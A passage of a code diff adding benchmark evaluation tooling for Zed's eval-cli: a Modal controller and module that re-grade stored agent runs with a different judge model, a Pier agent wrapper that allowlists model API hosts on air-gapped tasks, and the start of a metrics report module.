+        modal.Secret.from_name(MODAL_TOKEN_SECRET_NAME),
+        modal.Secret.from_name(LLM_PROVIDERS_SECRET_NAME),
+    ],
+)
+def rejudge_controller(rejudge_request: dict[str, Any]) -> dict[str, Any]:
+    """Re-grade a finished parent run with a different judge, producing a new
+    derived run. The parent is read only: its stored agent outputs are re-scored
+    by the real cached verifier through the judge proxy, and only the verdicts
+    change. See `rejudge.py` for the per-trial grading."""
+    namespace = rejudge_request["namespace"]
+    experiment_name = rejudge_request["experiment_name"]
+    run_id = rejudge_request["run_id"]
+    parent = rejudge_request["parent"]
+    judge_preset = rejudge_request["judge_preset"]
+    judge = config.get_judge(judge_preset)
+    judge_model = rejudge_request.get("judge_model") or judge.model
+
+    run_dir = pathlib.Path("/data/runs") / namespace / experiment_name / run_id
+    run_dir.mkdir(parents=True, exist_ok=True)
+    log_path = run_dir / "controller.log"
+    state_path = run_dir / "state.json"
+    started_at = utc_now()
+
+    def log(message: str) -> None:
+        line = f"[{utc_now()}] {message}"
+        print(line, flush=True)
+        with log_path.open("a") as log_file:
+            log_file.write(line + "\n")
+
+    def state(status: str, **extra: Any) -> None:
+        write_json(
+            state_path,
+            {
+                "run_id": run_id,
+                "namespace": namespace,
+                "experiment_name": experiment_name,
+                "kind": "rejudge",
+                "status": status,
+                "updated_at": utc_now(),
+                "started_at": started_at,
+                **extra,
+            },
+        )
+        volume.commit()
+
+    try:
+        write_json(run_dir / "request.json", rejudge_request)
+        write_json(run_dir / "run-metadata.json", rejudge_run_metadata(rejudge_request))
+        state("starting", source_run=parent)
+        log(
+            f"Rejudging {parent['namespace']}/{parent['experiment_name']}/"
+            f"{parent['run_id']} as {namespace}/{experiment_name}/{run_id} "
+            f"with judge {judge_preset} ({judge_model})"
+        )
+
+        reload_volume()
+        parent_dir = (
+            pathlib.Path("/data/runs")
+            / parent["namespace"]
+            / parent["experiment_name"]
+            / parent["run_id"]
+        )
+        parent_archive = parent_dir / "harbor-job.tar.gz"
+        if not parent_archive.exists():
+            raise FileNotFoundError(
+                f"parent run has no harbor-job.tar.gz: {parent_archive}. "
+                "Rejudge needs a completed parent run with a stored job archive."
+            )
+
+        metadata = load_json(parent_dir / "run-metadata.json") or {}
+        benchmark = metadata.get("benchmark") or {}
+        dataset = benchmark.get("dataset") if isinstance(benchmark, dict) else {}
+        dataset_kind = dataset.get("kind") if isinstance(dataset, dict) else None
+        dataset_name = dataset.get("name") if isinstance(dataset, dict) else None
+        if dataset_kind != "registry" or not isinstance(dataset_name, str):
+            raise NotImplementedError(
+                "rejudge currently supports registry datasets (SWE-Atlas rf/qna). "
+                f"Parent run dataset_kind={dataset_kind!r} is not yet supported."
+            )
+
+        work = pathlib.Path("/tmp/agent-evals/rejudge") / run_id
+        if work.exists():
+            shutil.rmtree(work)
+        extract_root = work / "parent"
+        extract_root.mkdir(parents=True, exist_ok=True)
+        log(f"Extracting parent archive {parent_archive}")
+        with tarfile.open(parent_archive, "r:gz") as archive:
+            safe_extract_archive(archive, extract_root)
+        parent_job_dir = extract_root / parent["run_id"]
+        if not parent_job_dir.is_dir():
+            # Fall back to the single top-level dir if the arcname differs.
+            candidates = [p for p in extract_root.iterdir() if p.is_dir()]
+            if len(candidates) != 1:
+                raise FileNotFoundError(
+                    f"could not locate job dir inside {parent_archive}"
+                )
+            parent_job_dir = candidates[0]
+
+        log(f"Downloading task packages for dataset {dataset_name}")
+        subprocess.run(["harbor", "datasets", "download", dataset_name], check=True)
+        tasks_root = pathlib.Path.home() / ".cache" / "harbor" / "tasks" / "packages"
+
+        state("running", source_run=parent, judge_model=judge_model)
+        out_job_dir = work / "job" / run_id
+        summary = rejudge.rejudge_job(
+            parent_job_dir=parent_job_dir,
+            out_job_dir=out_job_dir,
+            tasks_root=tasks_root,
+            judge=judge,
+            judge_model=judge_model,
+            log=log,
+        )
+        volume.commit()
+
+        archive_path = run_dir / "harbor-job.tar.gz"
+        with tarfile.open(archive_path, "w:gz") as archive:
+            archive.add(out_job_dir, arcname=out_job_dir.name)
+
+        summary = {
+            **summary,
+            "run_id": run_id,
+            "namespace": namespace,
+            "experiment_name": experiment_name,
+            "kind": "rejudge",
+            "source_run": parent,
+            "judge_preset": judge_preset,
+            "status": "completed",
+            "has_archive": archive_path.exists(),
+            "started_at": started_at,
+            "completed_at": utc_now(),
+        }
+        write_json(run_dir / "summary.json", summary)
+        (run_dir / "READY").write_text(utc_now() + "\n")
+        log(
+            f"Rejudge complete: {summary['passed_count']}/"
+            f"{summary['rejudged_count']} passed "
+            f"({summary['failed_count']} trials could not be rejudged)"
+        )
+        state("completed", summary=summary)
+        volume.commit()
+        return summary
+    except Exception as error:
+        formatted = traceback.format_exc()
+        log(f"FAILED: {error}\n{formatted}")
+        (run_dir / "FAILED").write_text(utc_now() + "\n")
+        state("failed", error=str(error), traceback=formatted)
+        volume.commit()
+        raise
diff --git a/crates/eval_cli/zed_eval/pier_agent.py b/crates/eval_cli/zed_eval/pier_agent.py
new file mode 100644
index 00000000000000..0a5c07631fac29
--- /dev/null
+++ b/crates/eval_cli/zed_eval/pier_agent.py
@@ -0,0 +1,226 @@
+"""Pier-native agent wrapper for Zed's eval-cli binary.
+
+Pier (a Harbor fork) is the harness for DeepSWE, whose tasks run air-gapped
+(`allow_internet = false`). Pier's installed-agent interface differs from
+Harbor's — it requires `install_spec()` and, crucially, a `network_allowlist()`
+the egress proxy honors so the agent can still reach the model API. Harbor's
+`BaseInstalledAgent` has neither, so this is a separate, Pier-specific class
+(the sanctioned cross-framework exception): everything else in the project has a
+single canonical implementation, but two genuinely different harness SDKs need
+two thin agent shells.
+
+Air-gap notes:
+  - The eval-cli binary is a static musl executable copied from the mounted Modal
+    volume (`/data`, local — not network), so installing it needs no egress.
+  - Network installs (Node, LSPs) are intentionally skipped: there's no egress to
+    fetch them, and eval-cli's core tools (read/edit/terminal/...) don't need
+    them. Only the model API host is allowlisted.
+"""
+
+from __future__ import annotations
+
+import json
+import shlex
+from urllib.parse import urlparse
+
+from pier.agents.installed.base import BaseInstalledAgent, with_prompt_template
+from pier.environments.base import BaseEnvironment
+from pier.models.agent.context import AgentContext
+from pier.models.agent.install import AgentInstallSpec, InstallStep
+from pier.models.agent.network import NetworkAllowlist
+from pier.models.trial.paths import EnvironmentPaths
+
+from .agent_common import (
+    add_anthropic_available_models_env,
+    add_openai_compatible_provider_env,
+    add_zed_eval_env,
+    detect_workdir,
+    eval_cli_with_log_command,
+    patch_command,
+    populate_context_from_result,
+    provider_api_env,
+)
+
+# Default model-provider API hosts the agent must reach even on air-gapped tasks.
+# Mirrors benchmarks.AGENT_API_HOSTS; duplicated here so this module has no
+# dependency on the orchestration package when loaded inside a sandbox.
+DEFAULT_PROVIDER_DOMAINS: dict[str, list[str]] = {
+    "anthropic": ["api.anthropic.com"],
+    "openai": ["api.openai.com"],
+    "google": [".googleapis.com"],
+    "gemini": [".googleapis.com"],
+    "deepseek": ["api.deepseek.com"],
+    "baseten": ["inference.baseten.co"],
+}
+# Base-URL env vars Pier-style allowlist resolution should also honor.
+BASE_URL_ENV_VARS = (
+    "ANTHROPIC_BASE_URL",
+    "OPENAI_BASE_URL",
+    "OPENAI_API_BASE",
+    "GEMINI_API_BASE",
+)
+
+
+class ZedPierAgent(BaseInstalledAgent):
+    """Runs Zed's headless eval-cli binary under Pier."""
+
+    SUPPORTS_ATIF: bool = False
+
+    @staticmethod
+    def name() -> str:
+        return "zed"
+
+    def _container_binary_path(self) -> str:
+        path = self._get_env("EVAL_CLI_CONTAINER_PATH")
+        if not path:
+            raise ValueError(
+                "ZedPierAgent requires EVAL_CLI_CONTAINER_PATH (the eval-cli binary "
+                "on the mounted volume, e.g. /data/builds/<id>/eval-cli)"
+            )
+        return path
+
+    def install_spec(self) -> AgentInstallSpec:
+        # The binary lives on the runtime-mounted volume, which isn't available at
+        # image-build time, so the real placement happens in run() via
+        # exec_as_root. install_spec only needs a non-empty, no-egress step.
+        return AgentInstallSpec(
+            agent_name=self.name(),
+            version=self._version,
+            steps=[
+                InstallStep(
+                    user="root",
+                    run="true  # eval-cli is copied from the volume at run time",
+                )
+            ],
+        )
+
+    def network_allowlist(self) -> NetworkAllowlist:
+        """Hosts the egress proxy must allow so eval-cli can reach the model API
+        on air-gapped DeepSWE tasks."""
+        domains: list[str] = []
+
+        provider = None
+        if self.model_name and "/" in self.model_name:
+            provider = self.model_name.split("/", 1)[0]
+        domains.extend(DEFAULT_PROVIDER_DOMAINS.get(provider or "", []))
+
+        # Any explicitly configured base URL (e.g. an OpenAI-compatible gateway
+        # such as Baseten) wins/adds alongside the provider default.
+        for env_var in BASE_URL_ENV_VARS:
+            value = self._get_env(env_var)
+            if value:
+                host = urlparse(value).hostname
+                if host:
+                    domains.append(host)
+
+        # A Baseten (or other OpenAI-compatible) provider is wired via this JSON;
+        # allow its api_url host too.
+        providers_json = self._get_env("ZED_OPENAI_COMPATIBLE_PROVIDERS")
+        if providers_json:
+            try:
+                parsed = json.loads(providers_json)
+            except json.JSONDecodeError:
+                parsed = {}
+            for provider_config in (parsed or {}).values():
+                api_url = (
+                    provider_config.get("api_url")
+                    if isinstance(provider_config, dict)
+                    else None
+                )
+                host = urlparse(api_url).hostname if api_url else None
+                if host:
+                    domains.append(host)
+
+        if not domains:
+            # Never return an empty allowlist: without the model host the agent
+            # can do nothing on an air-gapped task. Default to Anthropic.
+            domains = ["api.anthropic.com"]
+        return NetworkAllowlist(domains=domains)
+
+    def _api_env(self) -> dict[str, str]:
+        env = provider_api_env(self.model_name, self._get_env)
+        add_openai_compatible_provider_env(
+            env, self._get_env("ZED_OPENAI_COMPATIBLE_PROVIDERS")
+        )
+        add_anthropic_available_models_env(
+            env, self._get_env("ZED_ANTHROPIC_AVAILABLE_MODELS")
+        )
+        add_zed_eval_env(
+            env, self._extra_env, exclude={"ZED_EVAL_INSTRUCTION_SUFFIX_FILE"}
+        )
+        return env
+
+    async def _detect_workdir(self, environment: BaseEnvironment) -> str:
+        return await detect_workdir(
+            environment,
+            self.exec_as_agent,
+            self._get_env,
+            "Could not detect a working directory; set EVAL_CLI_WORKDIR via --ae",
+        )
+
+    @with_prompt_template
+    async def run(
+        self, instruction: str, environment: BaseEnvironment, context: AgentContext
+    ) -> None:
+        # Place the static binary from the mounted volume (no egress needed).
+        await self.exec_as_root(
+            environment,
+            command=(
+                f"install -m755 {shlex.quote(self._container_binary_path())} "
+                "/usr/local/bin/eval-cli && eval-cli --help >/dev/null"
+            ),
+        )
+
+        workdir = await self._detect_workdir(environment)
+        agent_dir = str(EnvironmentPaths.agent_dir)
+        env = self.build_process_env(self._api_env())
+
+        parts = [
+            "eval-cli",
+            f"--workdir {shlex.quote(workdir)}",
+            f"--output-dir {shlex.quote(agent_dir)}",
+        ]
+        if self.model_name:
+            parts.append(f"--model {shlex.quote(self.model_name)}")
+        timeout = self._get_env("EVAL_CLI_TIMEOUT")
+        if timeout:
+            parts.append(f"--timeout {shlex.quote(timeout)}")
+        instruction_suffix_file = self._get_env("ZED_EVAL_INSTRUCTION_SUFFIX_FILE")
+        if instruction_suffix_file:
+            parts.append(
+                f"--instruction-suffix-file {shlex.quote(instruction_suffix_file)}"
+            )
+        staff = self._get_env("EVAL_CLI_STAFF")
+        if staff and staff.lower() == "false":
+            parts.append("--no-staff")
+        reasoning_effort = self._get_env("EVAL_CLI_REASONING_EFFORT")
+        if reasoning_effort:
+            parts.append(f"--reasoning-effort {shlex.quote(reasoning_effort)}")
+        enable_thinking = self._get_env("EVAL_CLI_ENABLE_THINKING")
+        if enable_thinking:
+            if enable_thinking.lower() == "true":
+                parts.append("--thinking true")
+            elif enable_thinking.lower() == "false":
+                parts.append("--thinking false")
+        parts.append(f"--instruction {shlex.quote(instruction)}")
+
+        # Tolerate exit 2 (timeout): deliver whatever the agent produced.
+        await self.exec_as_agent(
+            environment,
+            command=eval_cli_with_log_command(
+                parts,
+                agent_dir + "/eval-cli.txt",
+                timeout_message=None,
+            ),
+            env=env,
+        )
+
+        # SWE-bench-style patch for the verifier (DeepSWE tasks are git repos).
+        await self.exec_as_agent(
+            environment,
+            command=patch_command(agent_dir),
+            cwd=workdir,
+        )
+
+    def populate_context_post_run(self, context: AgentContext) -> None:
+        populate_context_from_result(self.logs_dir, context, self.logger)
diff --git a/crates/eval_cli/zed_eval/pyproject.toml b/crates/eval_cli/zed_eval/pyproject.toml
index e25ec9825c025f..c521651c924742 100644
--- a/crates/eval_cli/zed_eval/pyproject.toml
+++ b/crates/eval_cli/zed_eval/pyproject.toml
@@ -1,9 +1,16 @@
 [project]
 name = "zed-eval"
-version = "0.1.0"
-description = "Harbor agent wrapper for Zed's eval-cli"
+version = "0.2.0"
+description = "Harbor agent wrapper and remote orchestration CLI for Zed's eval-cli"
 requires-python = ">=3.12"
-dependencies = ["harbor==0.13.0"]
+dependencies = ["harbor==0.15.0", "modal==1.5.0"]
+
+[project.scripts]
+zed-eval = "zed_eval.cli:main"
+
+[tool.setuptools]
+packages = ["zed_eval"]
+package-dir = { zed_eval = "." }
 
 [build-system]
 requires = ["setuptools"]
diff --git a/crates/eval_cli/zed_eval/rejudge.py b/crates/eval_cli/zed_eval/rejudge.py
new file mode 100644
index 00000000000000..42c0b477125844
--- /dev/null
+++ b/crates/eval_cli/zed_eval/rejudge.py
@@ -0,0 +1,359 @@
+"""Re-grade a finished run with a different judge, without redoing agent work.
+
+A rejudge takes the agent output already stored in a parent run (the expensive
+part: patches/answers the agent produced) and re-runs only the *judge* step with
+a new judge model, producing a brand-new derived run. The original run is read
+only and never modified.
+
+This is deliberately not a re-implementation of the grader. It runs the exact
+SWE-Atlas verifier script shipped in each task package (`evaluate_rubrics.py` for
+RF, `evaluate_answer.py` for QnA) through the same judge proxy shim the live
+in-sandbox path uses (`judge_proxy.JUDGE_PROXY_SCRIPT`), so a rejudged verdict is
+produced identically to a first-pass verdict — only the judge model differs.
+
+The verifier scripts read their inputs from fixed absolute paths (`/tests`,
+`/logs/...`) and pick the judge up from `EVAL_MODEL`/`EVAL_BASE_URL`/
+`EVAL_API_KEY`, so this module is meant to run inside a throwaway container (the
+Modal `rejudge_controller`), where staging those absolute paths is safe. The pure
+helpers (resolution, reward recombination, result patching) have no such
+requirement and are unit-tested directly.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import shutil
+import socket
+import subprocess
+import sys
+import time
+from pathlib import Path
+from typing import Any
+
+from . import config
+from .judge_proxy import JUDGE_PROXY_SCRIPT
+
+# Each task package ships exactly one of these verifier scripts; its presence is
+# how we tell an RF task from a QnA one without trusting the experiment config.
+RF_VERIFIER = "evaluate_rubrics.py"
+QNA_VERIFIER = "evaluate_answer.py"
+
+PART_RF = "rf"
+PART_QNA = "qna"
+
+# Absolute paths the cached verifier scripts hardcode. Staged per trial.
+TESTS_DIR = Path("/tests")
+LOGS_AGENT_DIR = Path("/logs/agent")
+LOGS_VERIFIER_DIR = Path("/logs/verifier")
+RF_PATCH_PATH = LOGS_VERIFIER_DIR / "agent.patch"
+RF_RESULTS_PATH = LOGS_VERIFIER_DIR / "rubrics_results.json"
+QNA_ANSWER_PATH = LOGS_AGENT_DIR / "answer.txt"
+QNA_RESULTS_PATH = LOGS_VERIFIER_DIR / "evaluation_results.json"
+
+
+def load_json(path: Path) -> Any:
+    try:
+        return json.loads(Path(path).read_text())
+    except (OSError, json.JSONDecodeError):
+        return None
+
+
+def task_tests_dir(task_name: str, task_ref: str, tasks_root: Path) -> Path:
+    """Resolve a trial's cached task package `tests/` dir from its name + ref.
+
+    Mirrors Harbor's content-addressed layout:
+    `<tasks_root>/<org>/<task-id>/<ref-hash>/tests`.
+    """
+    org, task_id = task_name.split("/", 1)
+    ref_hash = task_ref.split(":", 1)[1] if ":" in task_ref else task_ref
+    return tasks_root / org / task_id / ref_hash / "tests"
+
+
+def tests_dir_for_trial(trial_dir: Path, tasks_root: Path) -> Path | None:
+    config_data = load_json(trial_dir / "config.json")
+    if not isinstance(config_data, dict):
+        return None
+    task = config_data.get("task") or {}
+    name, ref = task.get("name"), task.get("ref")
+    if not (name and ref):
+        return None
+    tests_dir = task_tests_dir(name, ref, tasks_root)
+    return tests_dir if tests_dir.is_dir() else None
+
+
+def detect_part(tests_dir: Path) -> str | None:
+    if (tests_dir / RF_VERIFIER).exists():
+        return PART_RF
+    if (tests_dir / QNA_VERIFIER).exists():
+        return PART_QNA
+    return None
+
+
+def recompute_rf_rewards(
+    rubrics_results: dict[str, Any], prior_rewards: dict[str, Any]
+) -> dict[str, float]:
+    """Combine the freshly re-judged rubric verdict with the *unchanged* saved
+    deterministic test reward. The agent patch didn't change, so `tests_reward`
+    is invariant under rejudge; only the rubric (`must_have_pass`/agg) moves.
+
+    The overall RF reward is `must_have_pass AND tests_reward == 1`, verified to
+    hold across every cached RF trial.
+    """
+    must_have_pass = bool(rubrics_results.get("must_have_pass"))
+    agg_score = rubrics_results.get("agg_score")
+    tests_reward = float(prior_rewards.get("tests_reward") or 0.0)
+    overall_pass = 1.0 if (must_have_pass and tests_reward >= 1.0) else 0.0
+    return {
+        "reward": overall_pass,
+        "overall_pass": overall_pass,
+        "tests_reward": tests_reward,
+        "must_have_pass": 1.0 if must_have_pass else 0.0,
+        "rubrics_agg_score": float(agg_score) if agg_score is not None else 0.0,
+    }
+
+
+def recompute_qna_rewards(evaluation_results: dict[str, Any]) -> dict[str, float]:
+    """QnA has no deterministic test component; the reward is just the judged
+    pass verdict, matching the single-key `{"reward": ...}` production shape."""
+    return {"reward": 1.0 if bool(evaluation_results.get("pass")) else 0.0}
+
+
+def proxy_environment(judge: config.JudgeConfig) -> dict[str, str]:
+    """Env the judge proxy subprocess reads. The auth key it forwards
+    (`judge.auth_env`, e.g. BASETEN_API_KEY) must already be present in the
+    process environment via the mounted LLM-providers secret."""
+    env = {
+        "ZED_JUDGE_UPSTREAM": judge.upstream,
+        "ZED_JUDGE_AUTH_ENV": judge.auth_env,
+    }
+    if judge.max_tokens is not None:
+        env["ZED_JUDGE_MAX_TOKENS"] = str(judge.max_tokens)
+    return env
+
+
+def verifier_environment(judge_model: str, port: int) -> dict[str, str]:
+    """Env the cached verifier reads to find the judge.
+
+    This mirrors the verifier env injected by the benchmark harness command,
+    pointed at the local rejudge proxy.
+    """
+    return {
+        "EVAL_MODEL": judge_model,
+        "EVAL_BASE_URL": f"http://127.0.0.1:{port}/v1",
+        "EVAL_API_KEY": "unused-by-agent-evals-proxy",
+    }
+
+
+class JudgeProxy:
+    """Runs `judge_proxy.JUDGE_PROXY_SCRIPT` as a local subprocess for the life
+    of a rejudge job. One proxy serves every trial (they all target the same
+    judge), mirroring the single in-sandbox daemon."""
+
+    def __init__(self, judge: config.JudgeConfig, port: int = 8089) -> None:
+        self._judge = judge
+        self._port = port
+        self._process: subprocess.Popen[bytes] | None = None
+        self._script_path = Path("/tmp/zed_judge_proxy.py")
+
+    @property
+    def port(self) -> int:
+        return self._port
+
+    def __enter__(self) -> JudgeProxy:
+        self._script_path.write_text(JUDGE_PROXY_SCRIPT)
+        env = os.environ.copy()
+        env.update(proxy_environment(self._judge))
+        env["ZED_JUDGE_PROXY_PORT"] = str(self._port)
+        self._process = subprocess.Popen(
+            [sys.executable, str(self._script_path)],
+            env=env,
+            stdout=subprocess.DEVNULL,
+            stderr=subprocess.DEVNULL,
+        )
+        self._wait_for_port()
+        return self
+
+    def __exit__(self, *_exc: object) -> None:
+        if self._process is not None:
+            self._process.terminate()
+            try:
+                self._process.wait(timeout=10)
+            except subprocess.TimeoutExpired:
+                self._process.kill()
+
+    def _wait_for_port(self, timeout_secs: float = 30.0) -> None:
+        deadline = time.time() + timeout_secs
+        while time.time() < deadline:
+            if self._process is not None and self._process.poll() is not None:
+                raise RuntimeError("judge proxy exited before becoming ready")
+            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as probe:
+                probe.settimeout(0.5)
+                if probe.connect_ex(("127.0.0.1", self._port)) == 0:
+                    return
+            time.sleep(0.25)
+        raise TimeoutError(f"judge proxy did not open port {self._port} in time")
+
+
+def _stage_tests_dir(tests_dir: Path) -> None:
+    """Point the absolute `/tests` path at this trial's package. Reset per trial
+    so each verifier reads its own rubrics/prompts."""
+    if TESTS_DIR.is_symlink() or TESTS_DIR.exists():
+        if TESTS_DIR.is_dir() and not TESTS_DIR.is_symlink():
+            shutil.rmtree(TESTS_DIR)
+        else:
+            TESTS_DIR.unlink()
+    TESTS_DIR.symlink_to(tests_dir)
+
+
+def _run_verifier(
+    part: str, tests_dir: Path, judge_model: str, port: int
+) -> dict[str, Any]:
+    """Stage the verifier's expected inputs and run the real cached script."""
+    LOGS_AGENT_DIR.mkdir(parents=True, exist_ok=True)
+    LOGS_VERIFIER_DIR.mkdir(parents=True, exist_ok=True)
+    _stage_tests_dir(tests_dir)
+
+    env = os.environ.copy()
+    env.update(verifier_environment(judge_model, port))
+    script = tests_dir / (RF_VERIFIER if part == PART_RF else QNA_VERIFIER)
+    results_path = RF_RESULTS_PATH if part == PART_RF else QNA_RESULTS_PATH
+    if results_path.exists():
+        results_path.unlink()
+
+    completed = subprocess.run(
+        [sys.executable, str(script)],
+        env=env,
+        capture_output=True,
+        text=True,
+    )
+    results = load_json(results_path)
+    if not isinstance(results, dict):
+        raise RuntimeError(
+            f"verifier produced no results (exit {completed.returncode}): "
+            f"{completed.stderr.strip()[:500]}"
+        )
+    return results
+
+
+def rejudge_trial(
+    trial_dir: Path,
+    tasks_root: Path,
+    judge: config.JudgeConfig,
+    judge_model: str,
+    port: int,
+) -> dict[str, Any]:
+    """Re-grade one trial in place (the trial dir is a copy in the derived run).
+
+    Returns a per-trial record; on any recoverable problem it returns
+    `{"ok": False, "error": ...}` so one bad trial can't sink the whole job.
+    """
+    task_name = trial_dir.name
+    tests_dir = tests_dir_for_trial(trial_dir, tasks_root)
+    if tests_dir is None:
+        return {"task": task_name, "ok": False, "error": "task package not found"}
+    part = detect_part(tests_dir)
+    if part is None:
+        return {"task": task_name, "ok": False, "error": "no verifier in task package"}
+
+    # The agent output is already on disk from the parent run; copy it to the
+    # path the verifier expects. RF reads the patch, QnA the delivered answer.
+    if part == PART_RF:
+        source = trial_dir / "verifier" / "agent.patch"
+        if not source.exists():
+            source = trial_dir / "verifier" / "agent_source_only.patch"
+        if not source.exists():
+            return {"task": task_name, "ok": False, "error": "no agent.patch"}
+        RF_PATCH_PATH.parent.mkdir(parents=True, exist_ok=True)
+        shutil.copyfile(source, RF_PATCH_PATH)
+    else:
+        source = trial_dir / "agent" / "answer.txt"
+        if not source.exists():
+            return {"task": task_name, "ok": False, "error": "no answer.txt"}
+        QNA_ANSWER_PATH.parent.mkdir(parents=True, exist_ok=True)
+        shutil.copyfile(source, QNA_ANSWER_PATH)
+
+    try:
+        results = _run_verifier(part, tests_dir, judge_model, port)
+    except (RuntimeError, OSError) as error:
+        return {"task": task_name, "ok": False, "error": str(error)}
+
+    prior_rewards = (
+        (load_json(trial_dir / "result.json") or {}).get("verifier_result") or {}
+    ).get("rewards") or {}
+    if part == PART_RF:
+        new_rewards = recompute_rf_rewards(results, prior_rewards)
+        verifier_results_name = "rubrics_results.json"
+    else:
+        new_rewards = recompute_qna_rewards(results)
+        verifier_results_name = "evaluation_results.json"
+
+    # Persist the fresh verifier output and verdict into the derived trial dir so
+    # report.py reads the new judge's result with no special-casing.
+    (trial_dir / "verifier").mkdir(parents=True, exist_ok=True)
+    (trial_dir / "verifier" / verifier_results_name).write_text(
+        json.dumps(results, indent=2)
+    )
+    patch_result_rewards(trial_dir / "result.json", new_rewards)
+    return {"task": task_name, "ok": True, "part": part, "rewards": new_rewards}
+
+
+def patch_result_rewards(result_path: Path, new_rewards: dict[str, float]) -> None:
+    """Overwrite only `verifier_result.rewards` in a trial's `result.json`,
+    leaving the agent's resource metrics (tokens/steps/tool calls) untouched —
+    the agent didn't re-run, only the judge did."""
+    result = load_json(result_path)
+    if not isinstance(result, dict):
+        result = {}
+    verifier_result = result.get("verifier_result")
+    if not isinstance(verifier_result, dict):
+        verifier_result = {}
+    verifier_result["rewards"] = new_rewards
+    result["verifier_result"] = verifier_result
+    Path(result_path).write_text(json.dumps(result, indent=2))
+
+
+def rejudge_job(
+    parent_job_dir: Path,
+    out_job_dir: Path,
+    tasks_root: Path,
+    judge: config.JudgeConfig,
+    judge_model: str,
+    port: int = 8089,
+    log: Any = print,
+) -> dict[str, Any]:
+    """Copy a parent run's Harbor job dir into the derived run and re-judge every
+    trial in place. Returns a summary suitable for the run's `summary.json`."""
+    if out_job_dir.exists():
+        shutil.rmtree(out_job_dir)
+    shutil.copytree(parent_job_dir, out_job_dir)
+
+    trial_dirs = sorted(
+        path
+        for path in out_job_dir.iterdir()
+        if path.is_dir() and (path / "result.json").exists()
+    )
+    records: list[dict[str, Any]] = []
+    with JudgeProxy(judge, port=port) as proxy:
+        for index, trial_dir in enumerate(trial_dirs, start=1):
+            record = rejudge_trial(
+                trial_dir, tasks_root, judge, judge_model, proxy.port
+            )
+            records.append(record)
+            status = "ok" if record["ok"] else f"FAILED: {record.get('error')}"
+            log(f"[{index}/{len(trial_dirs)}] {trial_dir.name}: {status}")
+
+    rejudged = sum(1 for record in records if record["ok"])
+    passed = sum(
+        1
+        for record in records
+        if record["ok"] and record["rewards"].get("reward", 0.0) >= 1.0
+    )
+    return {
+        "trial_count": len(trial_dirs),
+        "rejudged_count": rejudged,
+        "failed_count": len(trial_dirs) - rejudged,
+        "passed_count": passed,
+        "judge_model": judge_model,
+        "trials": records,
+    }
diff --git a/crates/eval_cli/zed_eval/report.py b/crates/eval_cli/zed_eval/report.py
new file mode 100644
index 00000000000000..bd809e3927fbe8
--- /dev/null
+++ b/crates/eval_cli/zed_eval/report.py
@@ -0,0 +1,484 @@
+"""Success-conditioned metrics for fetched benchmark runs.
+
+This reads a fetched Harbor/Pier job directory and reports, for each run:
+
+  - success rate (with SEM when there are repeated attempts)
+  - token consumption *for the passing subset* (and overall, for comparison)
+  - tool calls *for the passing subset*, aggregate and broken down by tool
+  - total steps (agent turns) *for the passing subset*
+
+The per-trial record has two sources, one canonical each, with no fallbacks:
+
+  - The verdict (pass/fail/errored) comes from the harness' own trial result
+    (verifier rewards) — rubric judge for SWE-Atlas, test scripts for
+    Terminal-Bench and DeepSWE.
+  - Resource usage (tokens / steps / tool calls) comes from the Zed agent's
+    `result.json`, which eval-cli emits identically on every harness. There is
+    deliberately no secondary parser: if a metric isn't in `result.json`, it's
+    reported as absent rather than reconstructed from another file.
+"""
+
+from __future__ import annotations
+
+import json
+import math
+import statistics
+import sys
+from collections import Counter, defaultdict
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Any
+
+# Effective-token weights (cache reads are ~10x cheaper, output ~4x input).
+ET_INPUT = 1.0
+ET_CACHE_READ = 0.1
+ET_CACHE_CREATION = 1.0
+ET_OUTPUT = 4.0
+
+HARBOR_TRIAL_KEYS = {"task_name", "trial_name", "verifier_result"}
+ZED_RESULT_KEYS = {"status", "duration_secs"}
+
+
+def load_json(path: Path) -> Any:
+    try:
+        return json.loads(path.read_text())
+    except (OSError, json.JSONDecodeError) as error:
+        print(f"warning: could not parse {path}: {error}", file=sys.stderr)
+        return None
+
+
+def find_trial_dirs(job_dir: Path) -> list[Path]:
+    trial_dirs: set[Path] = set()
+    for name in ("result.json", "results.json"):
+        for path in job_dir.rglob(name):
+            if path.parent == job_dir:
+                continue
+            data = load_json(path)
+            if isinstance(data, dict) and HARBOR_TRIAL_KEYS & data.keys():
+                trial_dirs.add(path.parent)
+    return sorted(trial_dirs)
+
+
+def load_harbor_trial_result(trial_dir: Path) -> dict | None:
+    for name in ("result.json", "results.json"):
+        path = trial_dir / name
+        if path.exists():
+            data = load_json(path)
+            if isinstance(data, dict) and HARBOR_TRIAL_KEYS & data.keys():
+                return data
+    return None
+
+
+def load_zed_result(trial_dir: Path) -> dict | None:
+    for path in sorted(trial_dir.rglob("result.json")):
+        if path.parent == trial_dir:
+            continue
+        data = load_json(path)
+        if isinstance(data, dict) and ZED_RESULT_KEYS & data.keys():
+            return data
+    return None
+
+
+def trial_verdict(
+    harbor_result: dict, *, timeout_is_failure: bool = False
+) -> tuple[bool | None, str | None]:
+    """Returns (passed, error_reason). `passed` is None when the trial errored
+    (harness/infra exception or no verifier reward); infra errors are not
+    failures.
+
+    `timeout_is_failure` reclassifies an agent timeout as a real failure
+    (passed=False) rather than an excluded error: on test-scored benchmarks an
+    `AgentTimeoutError` means the agent didn't solve the task within its intended
+    time budget, which is an agent failure, not infra noise."""
+    exception_info = harbor_result.get("exception_info")
+    if exception_info:
+        reason = "exception"
+        if isinstance(exception_info, dict):
+            reason = exception_info.get("exception_type") or "exception"
+        if timeout_is_failure and reason == "AgentTimeoutError":
+            return False, reason
+        return None, reason
+
+    verifier = harbor_result.get("verifier_result")
+    if not isinstance(verifier, dict):
+        return None, "no verifier result"
+    rewards = verifier.get("rewards")
+    if not isinstance(rewards, dict) or not rewards:
+        return None, "no rewards"
+    try:
+        # Prefer the strict leaderboard metric. max(rewards) would wrongly count
+        # a trial as passed when only a component reward (e.g. tests_reward) hit
+        # 1.0 on SWE-Atlas RF.
+        if "reward" in rewards:
+            return float(rewards["reward"]) >= 1.0, None
+        return max(float(value) for value in rewards.values()) >= 1.0, None
+    except (TypeError, ValueError):
+        return None, "unparsable rewards"
+
+
+@dataclass
+class TrialRecord:
+    task_name: str
+    started_at: str | None
+    passed: bool | None
+    error_reason: str | None
+    input_tokens: int = 0
+    output_tokens: int = 0
+    cache_read_input_tokens: int = 0
+    cache_creation_input_tokens: int = 0
+    step_count: int | None = None
+    total_tool_calls: int | None = None
+    tool_calls: dict[str, int] = field(default_factory=dict)
+    duration_secs: float | None = None
